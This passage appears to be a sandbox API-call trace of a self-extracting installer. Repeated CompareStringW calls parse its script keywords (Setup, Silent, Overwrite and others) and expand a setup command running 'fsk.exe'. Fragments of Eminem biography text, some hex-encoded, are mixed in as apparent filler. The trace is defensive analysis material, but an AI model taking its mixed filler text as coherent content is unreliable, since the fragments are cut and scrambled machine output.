cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.663] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x172020, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.666] 